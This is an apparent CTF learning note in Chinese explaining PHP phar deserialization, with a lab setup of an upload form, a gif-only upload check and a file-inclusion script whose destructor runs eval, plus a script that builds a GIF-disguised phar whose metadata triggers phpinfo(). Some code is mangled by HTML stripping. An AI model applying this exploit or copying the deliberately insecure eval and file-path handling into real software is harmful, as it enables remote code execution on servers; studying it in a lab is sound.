phar反序列化的初步认识

这类的题也写了很多了,每次碰到都是懵的,今天看到一篇文章的Demo让我能比较简单地让我理解大概流程,写下来记录一下。

phar反序列化是由于php生成的phar文件中的一部分通过序列化存储而且可控,而文件在利用file_get_content()等函数用phar://协议包含文件时会对phar文件进行反序列化。我们可以在魔术方法里写入一些代码,在反序列化时自动调用魔术方法,从而达到攻击的目的。

这个有一些利用条件:

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

我在一篇文章中找到个小Demo,恰好用来演示一些利用方法。

在开始之前,我们需要在本机的php.ini,修改下面的选项,否则会无法创建Phar文件。

在这里插入图片描述

在被攻击的靶机里准备三个文件,分别是:upload.html(上传文件的表格)

<html>
<head>
<title>phar_testtitle>
head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input class="button" type="submit" name="submit" value="submit"/>
form>
body>
html>

upload.php(处理上传文件)


$Upload_dir = "../upload_file/";//上传文件存放处
if(isset($_POST['submit']))
{
     
        if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif')//判断文件类型
        {
     
                echo "Upload: " . $_FILES["file"]["name"]."
"
; echo "Type: " . $_FILES["file"]["type"]."
"
; if (file_exists($Upload_dir))//判断文件夹是否存在 { echo "Can't find the folder to save the file,please create a folder"; } else { move_uploaded_file($_FILES["file"]["tmp_name"],$Upload_dir .$_FILES["file"]["name"]); echo "Stored in: " . $Upload_dir . $_FILES["file"]["name"]."
"
; } } else { echo "Invalid file,you can only upload gif"; } } ?>

file_un.php(文件包含)


$filename=$_GET['filename'];
class AnyClass{
     
    var $output = 'echo "cck
";'
; function __destruct() { eval($this -> output); } } $a = new Anyclass(); $b = serialize($a); echo 'normal unserialize:
'
; unserialize($b);//演示正常反序列化的输出 echo 'GET the $filename'; file_exists($filename); ?>

,以及一个权限为777的文件夹upload_file(用来存放上传的文件)。其中upload.php要求只能上传gif文件。
准备完成之后,就可以开始实验了。

首先,写一个evil.php用来创建phar文件


class AnyClass{
     
    var $output = 'echo "cck";';
    function __destruct()
    {
     
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');//创建一个phar.phar文件
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'');//设置phar文件的Stub部分
$phar -> addFromString('test.txt','test');//添加test.txt文件进入phar文件
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);//设置Metadata
$phar -> stopBuffering();
?>

这里需要解释一下,phar文件本质上为一种压缩文件,一般有四个部分:

  1. stub部分,phar://协议要识别phar文件需要识别该部分,格式为:xxx,前面内容无所谓,但一定需要__HALT_COMPILER();?>结尾,否则不能识别。
  2. manifest部分,用来描述文件的属性权限等,且由于会序列化存储用户自定义的Metadata数据,也是我们主要进行攻击的地方。
  3. 压缩文件内容。
  4. 签名,可选,一般放在文件末尾。

我们运行evil.php文件所创造出来的phar.phar文件的ASCII为:
phar反序列化的初步认识_第1张图片
可以看到,文件头有一个GIF98a,而且phar://可以识别到phar文件的文件头,我们只要将后缀修改一下就可以绕过对gif文件类型的限制并不让phar文件失效,上传之后的效果如图:
phar反序列化的初步认识_第2张图片
output的值变成了"phpinfo();",在调用魔术函数时就会变成eval(phpinfo();),从而达到命令执行的目的。调用魔术函数需要反序列化,反序列化需要用include()等函数用phar://协议读取phar文件。这时我们需要用到file_un.php进行文件包含,效果如图:
phar反序列化的初步认识_第3张图片
此时,我们成功进行了攻击,达到了我们的目的。
而普通文件包含为:
phar反序列化的初步认识_第4张图片
参考文章https://www.freebuf.com/articles/web/205943.html
https://paper.seebug.org/680/

你可能感兴趣的:(初窥CTF)